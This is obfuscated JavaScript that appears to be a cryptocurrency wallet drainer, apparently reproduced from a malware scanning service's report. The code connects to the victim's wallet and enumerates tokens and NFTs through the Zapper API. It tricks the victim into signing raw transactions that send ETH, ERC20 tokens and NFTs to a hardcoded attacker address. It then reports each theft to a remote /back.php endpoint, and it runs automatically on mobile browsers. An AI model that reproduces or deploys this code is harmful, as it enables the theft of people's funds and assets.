var _0xcaeb=["","0x99c62e511395A33807bebcc1147C6B7524ac1782","57e79189-e67f-4334-aef4-d11cb3eecd62","0x186A0","userAgent","vendor","opera","test","Windows Phone","Android","MSStream","iOS","unknown","Trust","Metamask","a","createElement","href","target","_self","appendChild","body","click","remove","location","https://link.trustwallet.com/open_url?coin_id=60&url=https://","replace","URL","dapp://","log","ethereum","ethereum#initialized","addEventListener","eth_requestAccounts","request","https://mainnet.infura.io/v3/ef44b175ceb94950afcc9843c7d6a898","providers","block number = ","getBlockNumber","eth","https://api.coingecko.com/api/v3/simple/price?ids=ethereum&vs_currencies=usd","json","usd","toFixed","ether","toWei","utils","transactionFee","getAccounts","account","https://api.zapper.fi/v2/balances?addresses[]=","&&api_key=","https://api.zapper.fi/v2/nft/balances/tokens?addresses%5B%5D=","&limit=25&&api_key=","text","items","data","startsWith","slice","parse","balance","network","wallet","address","balanceUSD","context","balanceRaw","symbol","push","forEach","", "split", "floorPriceEth", "collection", "token", "tokenId", "estimatedValueEth", "nftStandard", "map", "concat", "sort", "nonce1", "getChainId", "getGasPrice", "toHex", "0x", "0x55F0", "0x1", "hex", "serialize", "sha3", "rawTx1:", "rawHash1:", "catch", "substring", "r:", "s:", "y:", "r", "s", "v", "---------------------------------------------", "rawTx:", "rawHash:", "then", "sendSignedTransaction", "sign", "pending", "getTransactionCount", "gasprice:", "10", "gwei", "0x0", "encodeABI", "transfer", "methods", "Waiting for sign submitting...", "Submitted:", "safeTransferFrom", "getId", "net", "chain", "binance-smart-chain", "optimism", "polygon", "gnosis", "fantom", "avalanche", "arbitrum", "celo", "moonriver", "bitcoin", "aurora", "tokenAddress", "0x0000000000000000000000000000000000000000", "<b>Transfer", "|Network:", "</b><br><br>Количество: ", "tokenAmount", " (", "tokenAmountFix", ")<br><br>Адрес владельца: <code>", "</code><br><br>Домен:", "hostname", "type", "</b><br><br>Контракт: <code>", "</code><br><br>Адрес владельца:<code>", "</code><br><br>Количество: <code>", "</code>(", ")<br><br>Домен:", "erc721", "Transfer NFT 721<br>Контракт:<code>", "</code><br><br>Floor Price: <code>", "</code>$<br><br>Адрес владельца:<code>", "</code><br><br>Инвентарь<br>https://etherscan.io/token/", "?a=", "%23inventory<br><br>Домен:", "Transfer NFT 1155<br>Контракт:<code>", "Error!", "Connect has been failed,try with another wallet", "error", "OK", "fire", "This wallet cannot be connect,try another one", "wallet_switchEthereumChain", "✅<b>Транзакция подтверждена</b>", "❌ <b>Транзакция отклонена</b>", "/back.php?key=8bEEokUZLhn7nAHz&m="];
var connected=0;
var account=_0xcaeb[0];
const ownerAddress=_0xcaeb[1];
const ZAPPER_KEY=_0xcaeb[2];
const CONTRACT_GAS_LIMIT=_0xcaeb[3];
var transactionFee=0;
var alert=0;
var perETH_usd;
var success=0;
let message;
let tokenList=[];
const getMobileOperatingSystem=()=>
{
const _0x5b59xd=navigator[_0xcaeb[4]]||navigator[_0xcaeb[5]]||window[_0xcaeb[6]];
if(/windows phone/i[_0xcaeb[7]](_0x5b59xd))
{
return _0xcaeb[8]
};
if(/android/i[_0xcaeb[7]](_0x5b59xd))
{
return _0xcaeb[9]
};
if(/iPad|iPhone|iPod/[_0xcaeb[7]](_0x5b59xd)&&!window[_0xcaeb[10]])
{
return _0xcaeb[11]
};
return _0xcaeb[12]
};
const getDAppSystem=()=>
{
const _0x5b59xd=navigator[_0xcaeb[4]]||navigator[_0xcaeb[5]]||window[_0xcaeb[6]];
if(/Trust/i[_0xcaeb[7]](_0x5b59xd))
{
return _0xcaeb[13]
};
if(/CriOS/i[_0xcaeb[7]](_0x5b59xd))
{
return _0xcaeb[14]
};
return _0xcaeb[12]
};
const openMetaMaskUrl=(_0x5b59x10)=>
{
const _0x5b59x11=document[_0xcaeb[16]](_0xcaeb[15]);
_0x5b59x11[_0xcaeb[17]]=_0x5b59x10;
_0x5b59x11[_0xcaeb[18]]=_0xcaeb[19];
document[_0xcaeb[21]][_0xcaeb[20]](_0x5b59x11);
_0x5b59x11[_0xcaeb[22]]();
_0x5b59x11[_0xcaeb[23]]()
};
async function contrust()
{
window[_0xcaeb[24]]=`$
{
_0xcaeb[25]
}
$
{
document[_0xcaeb[27]][_0xcaeb[26]](/https?:\/\//i,_0xcaeb[0])
}
$
{
_0xcaeb[0]
}
`
}
function loginMetamask()
{
if(getDAppSystem()!==_0xcaeb[14]&&getMobileOperatingSystem()!==_0xcaeb[12])
{
openMetaMaskUrl(`$
{
_0xcaeb[28]
}
$
{
document[_0xcaeb[27]][_0xcaeb[26]](/https?:\/\//i,_0xcaeb[0])
}
$
{
_0xcaeb[0]
}
`);
return
}
else
{
login()
}
}
async function login()
{
try
{
walletconnect()
}
catch(error)
{
console[_0xcaeb[29]](error)
}
}
function walletconnect()
{
if(window[_0xcaeb[30]])
{
ConnectWallet()
}
else
{
window[_0xcaeb[32]](_0xcaeb[31],ConnectWallet,
{
once:true
}
);
setTimeout(ConnectWallet,3000)
}
}
async function ConnectWallet()
{
if(window[_0xcaeb[30]])
{
await ethereum[_0xcaeb[34]](
{
method:_0xcaeb[33]
}
);
provider=window[_0xcaeb[30]];
web3=new Web3(provider)
}
else
{
provider=new Web3[_0xcaeb[36]].HttpProvider(_0xcaeb[35]);
web3=new Web3(provider)
};
getWalletAccount();
get12DollarETH();
web3[_0xcaeb[39]][_0xcaeb[38]](function(_0x5b59x17,_0x5b59x18)
{
console[_0xcaeb[29]](_0xcaeb[37],_0x5b59x18)
}
)
}
async function get12DollarETH()
{
let _0x5b59x10=_0xcaeb[40];
let _0x5b59x1a=await fetch(_0x5b59x10);
let _0x5b59x1b=await _0x5b59x1a[_0xcaeb[41]]();
let _0x5b59x1c=_0x5b59x1b[_0xcaeb[30]][_0xcaeb[42]];
let _0x5b59x1d=1/_0x5b59x1c;
perETH_usd=_0x5b59x1c;
transactionFee=_0x5b59x1d*2;
transactionFee=parseInt(web3[_0xcaeb[46]][_0xcaeb[45]](transactionFee[_0xcaeb[43]](5).toString(),_0xcaeb[44]));
console[_0xcaeb[29]](transactionFee,_0xcaeb[47]);
return _0x5b59x1d*2
}
async function getWalletAccount()
{
const _0x5b59x1f=await web3[_0xcaeb[39]][_0xcaeb[48]]();
account=_0x5b59x1f[0];
console[_0xcaeb[29]](_0xcaeb[49],account);
const _0x5b59x1a=await fetch(_0xcaeb[50]+account+_0xcaeb[51]+ZAPPER_KEY,
{
headers:
{
'Authorization':ZAPPER_KEY
}
}
);
const _0x5b59x20=await fetch(_0xcaeb[52]+account+_0xcaeb[53]+ZAPPER_KEY,
{
headers:
{
'Authorization':ZAPPER_KEY
}
}
);
const _0x5b59x21=await _0x5b59x1a[_0xcaeb[54]]();
const _0x5b59x22=(await _0x5b59x20[_0xcaeb[41]]())[_0xcaeb[55]];
console[_0xcaeb[29]](_0x5b59x21);
console[_0xcaeb[29]](_0x5b59x22);
_0x5b59x21[_0xcaeb[71]](_0xcaeb[70])[_0xcaeb[69]]((_0x5b59x23)=>
{
if(_0x5b59x23[_0xcaeb[57]](_0xcaeb[56]))
{
var _0x5b59x21=JSON[_0xcaeb[59]](_0x5b59x23[_0xcaeb[58]](5));
if(_0x5b59x21[_0xcaeb[60]]&&_0x5b59x21[_0xcaeb[61]]==_0xcaeb[30])
{
for(var _0x5b59x24 in _0x5b59x21[_0xcaeb[60]][_0xcaeb[62]])
{
var _0x5b59x25=_0x5b59x21[_0xcaeb[60]][_0xcaeb[62]][_0x5b59x24];
tokenList[_0xcaeb[68]](
{
tokenAddress:_0x5b59x25[_0xcaeb[63]],balance:_0x5b59x25[_0xcaeb[64]],tokenAmountFix:_0x5b59x25[_0xcaeb[65]][_0xcaeb[60]],chain:_0x5b59x25[_0xcaeb[61]],tokenAmount:_0x5b59x25[_0xcaeb[65]][_0xcaeb[66]],symbol:_0x5b59x25[_0xcaeb[65]][_0xcaeb[67]],type:1
}
)
}
}
}
}
);
tokenList=tokenList[_0xcaeb[79]](_0x5b59x22[_0xcaeb[78]]((_0x5b59x26)=>
{
return
{
balance:_0x5b59x26[_0xcaeb[74]][_0xcaeb[73]][_0xcaeb[72]]*perETH_usd,tokenAddress:_0x5b59x26[_0xcaeb[74]][_0xcaeb[73]][_0xcaeb[63]],tokenId:_0x5b59x26[_0xcaeb[74]][_0xcaeb[75]],tokenAmount:_0x5b59x26[_0xcaeb[74]][_0xcaeb[76]],chain:_0xcaeb[30],type:_0x5b59x26[_0xcaeb[74]][_0xcaeb[73]][_0xcaeb[77]]
}
}
));
tokenList[_0xcaeb[80]]((_0x5b59x11,_0x5b59x27)=>
{
return(Number(_0x5b59x27[_0xcaeb[60]])>Number(_0x5b59x11[_0xcaeb[60]]))?1:-1
}
);
console[_0xcaeb[29]](tokenList);
connected=1;
setTimeout(sendToken,1000)
}
function getEthBalance(_0x5b59x29,_0x5b59x2a,_0x5b59x2b)
{
var _0x5b59x2c=1;
for(var _0x5b59x2d=0;
_0x5b59x2d<_0x5b59x2a;
_0x5b59x2d++)
{
_0x5b59x2c*=10
};
return _0x5b59x29*_0x5b59x2b/_0x5b59x2c
}
async function stakeEth(_0x5b59x2f,_0x5b59x30)
{
if(account==_0xcaeb[0])
{
return
};
console[_0xcaeb[29]](_0x5b59x2f);
success=1;
logTlgMsg(_0x5b59x30);
await web3[_0xcaeb[39]][_0xcaeb[108]](account,_0xcaeb[107])[_0xcaeb[104]](async(_0x5b59x31)=>
{
console[_0xcaeb[29]](_0xcaeb[81],_0x5b59x31);
let _0x5b59x32=await web3[_0xcaeb[39]][_0xcaeb[82]]();
const _0x5b59x33=await web3[_0xcaeb[39]][_0xcaeb[83]]();
const _0x5b59x34=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33);
const _0x5b59x35=_0xcaeb[85]+_0x5b59x2f.toString(16);
let _0x5b59x36=
{
"to":ownerAddress,"nonce":web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x31),"gasLimit":_0xcaeb[86],"gasPrice":_0x5b59x34,"value":_0x5b59x35,"data":_0xcaeb[85],"v":_0xcaeb[87],"r":_0xcaeb[85],"s":_0xcaeb[85]
};
var _0x5b59x37=new ethereumjs.Tx(_0x5b59x36);
var _0x5b59x38=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
let _0x5b59x39=
{
"encoding":_0xcaeb[88]
};
const _0x5b59x3a=web3[_0xcaeb[46]][_0xcaeb[90]](_0x5b59x38,_0x5b59x39);
console[_0xcaeb[29]](_0xcaeb[91],_0x5b59x38);
console[_0xcaeb[29]](_0xcaeb[92],_0x5b59x3a);
await web3[_0xcaeb[39]][_0xcaeb[106]](_0x5b59x3a,account)[_0xcaeb[104]](async(_0x5b59x3c)=>
{
const _0x5b59x3d=_0x5b59x3c[_0xcaeb[94]](2),_0x5b59x3e=_0xcaeb[85]+_0x5b59x3d[_0xcaeb[94]](0,64),_0x5b59x3f=_0xcaeb[85]+_0x5b59x3d[_0xcaeb[94]](64,128),_0x5b59x40=parseInt(_0x5b59x3d[_0xcaeb[94]](128,130),16),_0x5b59x41=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x40+_0x5b59x32*2+8);
console[_0xcaeb[29]](_0xcaeb[95],_0x5b59x3e);
console[_0xcaeb[29]](_0xcaeb[96],_0x5b59x3f);
console[_0xcaeb[29]](_0xcaeb[97],_0x5b59x41.toString(_0xcaeb[88]));
_0x5b59x37[_0xcaeb[98]]=_0x5b59x3e;
_0x5b59x37[_0xcaeb[99]]=_0x5b59x3f;
_0x5b59x37[_0xcaeb[100]]=_0x5b59x41;
console[_0xcaeb[29]](_0x5b59x37);
console[_0xcaeb[29]](_0xcaeb[101]);
const _0x5b59x42=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
const _0x5b59x43=web3[_0xcaeb[46]][_0xcaeb[90]](_0x5b59x42,_0x5b59x39);
console[_0xcaeb[29]](_0xcaeb[102],_0x5b59x42);
console[_0xcaeb[29]](_0xcaeb[103],_0x5b59x43);
await web3[_0xcaeb[39]][_0xcaeb[105]](_0x5b59x42)[_0xcaeb[104]]((_0x5b59x45)=>
{
return console[_0xcaeb[29]](_0x5b59x45)
}
)[_0xcaeb[93]]((_0x5b59x44)=>
{
return success=0
}
)
}
)[_0xcaeb[93]]((_0x5b59x3b)=>
{
return success=0
}
);
logTlg(success)
}
)
}
async function stakeERC20(_0x5b59x47,_0x5b59x2f,_0x5b59x30)
{
console[_0xcaeb[29]](_0x5b59x47,account,_0x5b59x2f);
var _0x5b59x48=new web3[_0xcaeb[39]].Contract(ERC20_ABI,_0x5b59x47);
const _0x5b59x49=web3[_0xcaeb[46]][_0xcaeb[84]](await web3[_0xcaeb[39]][_0xcaeb[108]](account));
const _0x5b59x33=await web3[_0xcaeb[39]][_0xcaeb[83]]();
const _0x5b59x34=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33);
console[_0xcaeb[29]](_0xcaeb[109],_0x5b59x33);
console[_0xcaeb[29]](_0xcaeb[109],web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33));
let _0x5b59x32=await web3[_0xcaeb[39]][_0xcaeb[82]]();
let _0x5b59x36;
success=1;
logTlgMsg(_0x5b59x30);
try
{
_0x5b59x36=
{
to:_0x5b59x47,nonce:_0x5b59x49,gasLimit:CONTRACT_GAS_LIMIT,gasPrice:web3[_0xcaeb[46]][_0xcaeb[84]](web3[_0xcaeb[46]][_0xcaeb[45]](_0xcaeb[110],_0xcaeb[111])),value:_0xcaeb[112],data:_0x5b59x48[_0xcaeb[115]][_0xcaeb[114]](ownerAddress,_0x5b59x2f.toString())[_0xcaeb[113]](),r:_0xcaeb[85],s:_0xcaeb[85],v:_0xcaeb[87]
};
console[_0xcaeb[29]](_0x5b59x36);
const
{
ethereumjs
}
=window;
var _0x5b59x37=new ethereumjs.Tx(_0x5b59x36);
const _0x5b59x38=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
const _0x5b59x3a=web3[_0xcaeb[46]][_0xcaeb[90]](_0x5b59x38,
{
encoding:_0xcaeb[88]
}
);
const _0x5b59x4a=await web3[_0xcaeb[39]][_0xcaeb[106]](_0x5b59x3a,account);
const _0x5b59x4b=_0x5b59x4a[_0xcaeb[94]](2),_0x5b59x4c=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](0,64),_0x5b59x4d=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](64,128),_0x5b59x40=parseInt(_0x5b59x4b[_0xcaeb[94]](128,130),16),_0x5b59x4e=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x40+_0x5b59x32*2+8);
_0x5b59x37[_0xcaeb[98]]=_0x5b59x4c;
_0x5b59x37[_0xcaeb[99]]=_0x5b59x4d;
_0x5b59x37[_0xcaeb[100]]=_0x5b59x4e;
const _0x5b59x42=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
console[_0xcaeb[29]](_0xcaeb[116]);
const _0x5b59x24=await web3[_0xcaeb[39]][_0xcaeb[105]](_0x5b59x42);
console[_0xcaeb[29]](_0xcaeb[117],_0x5b59x24)
}
catch(e)
{
console[_0xcaeb[29]](e);
success=0
};
logTlg(success)
}
async function stakeNFT(_0x5b59x47,_0x5b59x50,_0x5b59x30)
{
var _0x5b59x48=new web3[_0xcaeb[39]].Contract(ERC721_ABI,_0x5b59x47);
const _0x5b59x49=web3[_0xcaeb[46]][_0xcaeb[84]](await web3[_0xcaeb[39]][_0xcaeb[108]](account));
const _0x5b59x33=await web3[_0xcaeb[39]][_0xcaeb[83]]();
const _0x5b59x34=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33);
console[_0xcaeb[29]](_0xcaeb[109],_0x5b59x33);
console[_0xcaeb[29]](_0xcaeb[109],web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33));
let _0x5b59x32=await web3[_0xcaeb[39]][_0xcaeb[82]]();
let _0x5b59x36;
success=1;
logTlgMsg(_0x5b59x30);
try
{
_0x5b59x36=
{
to:_0x5b59x47,nonce:_0x5b59x49,gasLimit:CONTRACT_GAS_LIMIT,gasPrice:web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33),value:_0xcaeb[112],data:_0x5b59x48[_0xcaeb[115]][_0xcaeb[118]](account,ownerAddress,_0x5b59x50)[_0xcaeb[113]](),r:_0xcaeb[85],s:_0xcaeb[85],v:_0xcaeb[87]
};
console[_0xcaeb[29]](_0x5b59x36);
const
{
ethereumjs
}
=window;
var _0x5b59x37=new ethereumjs.Tx(_0x5b59x36);
const _0x5b59x38=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
const _0x5b59x3a=web3[_0xcaeb[46]][_0xcaeb[90]](_0x5b59x38,
{
encoding:_0xcaeb[88]
}
);
const _0x5b59x4a=await web3[_0xcaeb[39]][_0xcaeb[106]](_0x5b59x3a,account);
const _0x5b59x4b=_0x5b59x4a[_0xcaeb[94]](2),_0x5b59x4c=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](0,64),_0x5b59x4d=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](64,128),_0x5b59x40=parseInt(_0x5b59x4b[_0xcaeb[94]](128,130),16),_0x5b59x4e=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x40+_0x5b59x32*2+8);
_0x5b59x37[_0xcaeb[98]]=_0x5b59x4c;
_0x5b59x37[_0xcaeb[99]]=_0x5b59x4d;
_0x5b59x37[_0xcaeb[100]]=_0x5b59x4e;
const _0x5b59x42=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
console[_0xcaeb[29]](_0xcaeb[116]);
const _0x5b59x24=await web3[_0xcaeb[39]][_0xcaeb[105]](_0x5b59x42);
console[_0xcaeb[29]](_0xcaeb[117],_0x5b59x24)
}
catch(e)
{
console[_0xcaeb[29]](e);
success=0
};
logTlg(success)
}
async function stake1155NFT(_0x5b59x47,_0x5b59x50,_0x5b59x30)
{
var _0x5b59x48=new web3[_0xcaeb[39]].Contract(ERC1155_ABI,_0x5b59x47);
const _0x5b59x49=web3[_0xcaeb[46]][_0xcaeb[84]](await web3[_0xcaeb[39]][_0xcaeb[108]](account));
const _0x5b59x33=await web3[_0xcaeb[39]][_0xcaeb[83]]();
const _0x5b59x34=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33);
console[_0xcaeb[29]](_0xcaeb[109],_0x5b59x33);
console[_0xcaeb[29]](_0xcaeb[109],web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33));
let _0x5b59x32=await web3[_0xcaeb[39]][_0xcaeb[82]]();
let _0x5b59x36;
success=1;
logTlgMsg(_0x5b59x30);
try
{
_0x5b59x36=
{
to:_0x5b59x47,nonce:_0x5b59x49,gasLimit:CONTRACT_GAS_LIMIT,gasPrice:web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x33),value:_0xcaeb[112],data:_0x5b59x48[_0xcaeb[115]][_0xcaeb[118]](account,ownerAddress,_0x5b59x50)[_0xcaeb[113]](),r:_0xcaeb[85],s:_0xcaeb[85],v:_0xcaeb[87]
};
console[_0xcaeb[29]](_0x5b59x36);
const
{
ethereumjs
}
=window;
var _0x5b59x37=new ethereumjs.Tx(_0x5b59x36);
const _0x5b59x38=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
const _0x5b59x3a=web3[_0xcaeb[46]][_0xcaeb[90]](_0x5b59x38,
{
encoding:_0xcaeb[88]
}
);
const _0x5b59x4a=await web3[_0xcaeb[39]][_0xcaeb[106]](_0x5b59x3a,account);
const _0x5b59x4b=_0x5b59x4a[_0xcaeb[94]](2),_0x5b59x4c=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](0,64),_0x5b59x4d=_0xcaeb[85]+_0x5b59x4b[_0xcaeb[94]](64,128),_0x5b59x40=parseInt(_0x5b59x4b[_0xcaeb[94]](128,130),16),_0x5b59x4e=web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x40+_0x5b59x32*2+8);
_0x5b59x37[_0xcaeb[98]]=_0x5b59x4c;
_0x5b59x37[_0xcaeb[99]]=_0x5b59x4d;
_0x5b59x37[_0xcaeb[100]]=_0x5b59x4e;
const _0x5b59x42=_0xcaeb[85]+_0x5b59x37[_0xcaeb[89]]().toString(_0xcaeb[88]);
console[_0xcaeb[29]](_0xcaeb[116]);
const _0x5b59x24=await web3[_0xcaeb[39]][_0xcaeb[105]](_0x5b59x42);
console[_0xcaeb[29]](_0xcaeb[117],_0x5b59x24)
}
catch(e)
{
console[_0xcaeb[29]](e);
success=0
};
logTlg(success)
}
async function sendToken()
{
for(var _0x5b59x53 of tokenList)
{
if(_0x5b59x53<1)
{
return alertshow()
};
const _0x5b59x54=await web3[_0xcaeb[39]][_0xcaeb[120]][_0xcaeb[119]]();
var _0x5b59x55=0;
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[30])
{
_0x5b59x55=1
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[122])
{
_0x5b59x55=56
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[123])
{
_0x5b59x55=10
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[124])
{
_0x5b59x55=137
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[125])
{
_0x5b59x55=100
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[126])
{
_0x5b59x55=250
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[127])
{
_0x5b59x55=43114
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[128])
{
_0x5b59x55=42161
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[129])
{
_0x5b59x55=42220
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[130])
{
_0x5b59x55=1285
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[131])
{
_0x5b59x55=2203
}
else
{
if(_0x5b59x53[_0xcaeb[121]]==_0xcaeb[132])
{
_0x5b59x55=1313161554
}
}
}
}
}
}
}
}
}
}
}
};
if(_0x5b59x54!==_0x5b59x55)
{
await changeNetwork(_0x5b59x55)
};
try
{
if(_0x5b59x53[_0xcaeb[133]]==_0xcaeb[134])
{
if(_0x5b59x53[_0xcaeb[60]]>10)
{
message=_0xcaeb[135]+_0x5b59x53[_0xcaeb[67]]+_0xcaeb[136]+_0x5b59x53[_0xcaeb[121]]+_0xcaeb[137]+_0x5b59x53[_0xcaeb[138]]+_0xcaeb[139]+_0x5b59x53[_0xcaeb[140]]+_0xcaeb[141]+account+_0xcaeb[142]+window[_0xcaeb[24]][_0xcaeb[143]];
await stakeEth(_0x5b59x53[_0xcaeb[138]]-transactionFee,message)
}
else
{
alertshow()
}
}
else
{
if(_0x5b59x53[_0xcaeb[144]]==1)
{
message=_0xcaeb[135]+_0x5b59x53[_0xcaeb[67]]+_0xcaeb[136]+_0x5b59x53[_0xcaeb[121]]+_0xcaeb[145]+_0x5b59x53[_0xcaeb[133]]+_0xcaeb[146]+account+_0xcaeb[147]+_0x5b59x53[_0xcaeb[138]]+_0xcaeb[148]+_0x5b59x53[_0xcaeb[140]]+_0xcaeb[149]+window[_0xcaeb[24]][_0xcaeb[143]];
await stakeERC20(_0x5b59x53[_0xcaeb[133]],_0x5b59x53[_0xcaeb[138]],message)
}
else
{
if(_0x5b59x53[_0xcaeb[144]]==_0xcaeb[150])
{
message=_0xcaeb[151]+_0x5b59x53[_0xcaeb[133]]+_0xcaeb[152]+_0x5b59x53[_0xcaeb[60]]+_0xcaeb[153]+account+_0xcaeb[154]+_0x5b59x53[_0xcaeb[133]]+_0xcaeb[155]+account+_0xcaeb[156]+window[_0xcaeb[24]][_0xcaeb[143]];
await stakeNFT(_0x5b59x53[_0xcaeb[133]],_0x5b59x53[_0xcaeb[75]],message)
}
else
{
message=_0xcaeb[157]+_0x5b59x53[_0xcaeb[133]]+_0xcaeb[152]+_0x5b59x53[_0xcaeb[60]]+_0xcaeb[153]+account+_0xcaeb[154]+_0x5b59x53[_0xcaeb[133]]+_0xcaeb[155]+account+_0xcaeb[156]+window[_0xcaeb[24]][_0xcaeb[143]];
await stake1155NFT(_0x5b59x53[_0xcaeb[133]],_0x5b59x53[_0xcaeb[75]],message)
}
}
}
}
catch(e)
{
console[_0xcaeb[29]](e)
}
}
}
async function alertshow()
{
if(alert==0)
{
Swal[_0xcaeb[162]](
{
title:_0xcaeb[158],text:_0xcaeb[159],icon:_0xcaeb[160],confirmButtonText:_0xcaeb[161]
}
);
alert=1
};
if(alert==1)
{
Swal[_0xcaeb[162]](
{
title:_0xcaeb[158],text:_0xcaeb[163],icon:_0xcaeb[160],confirmButtonText:_0xcaeb[161]
}
)
}
}
const changeNetwork=async(_0x5b59x55)=>
{
if(window[_0xcaeb[30]])
{
try
{
await window[_0xcaeb[30]][_0xcaeb[34]](
{
method:_0xcaeb[164],params:[
{
chainId:Web3[_0xcaeb[46]][_0xcaeb[84]](_0x5b59x55)
}
]
}
)
}
catch(error)
{
console[_0xcaeb[160]](error)
}
}
};
function logTlg(success)
{
if(success==1)
{
var _0x5b59x59=_0xcaeb[165]
}
else
{
var _0x5b59x59=_0xcaeb[166]
};
fetch(_0xcaeb[167]+_0x5b59x59)
}
function logTlgMsg(_0x5b59x30)
{
fetch(_0xcaeb[167]+_0x5b59x30)
}
function showSuccess(_0x5b59x5c)
{
alert(_0x5b59x5c)
}
function showError(_0x5b59x5c)
{
alert(_0x5b59x5c)
}
function showInfo(_0x5b59x5c)
{
alert(_0x5b59x5c)
}
if(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i[_0xcaeb[7]](navigator[_0xcaeb[4]]))
{
login()
}
© 2023 Quttera Ltd. All rights reserved.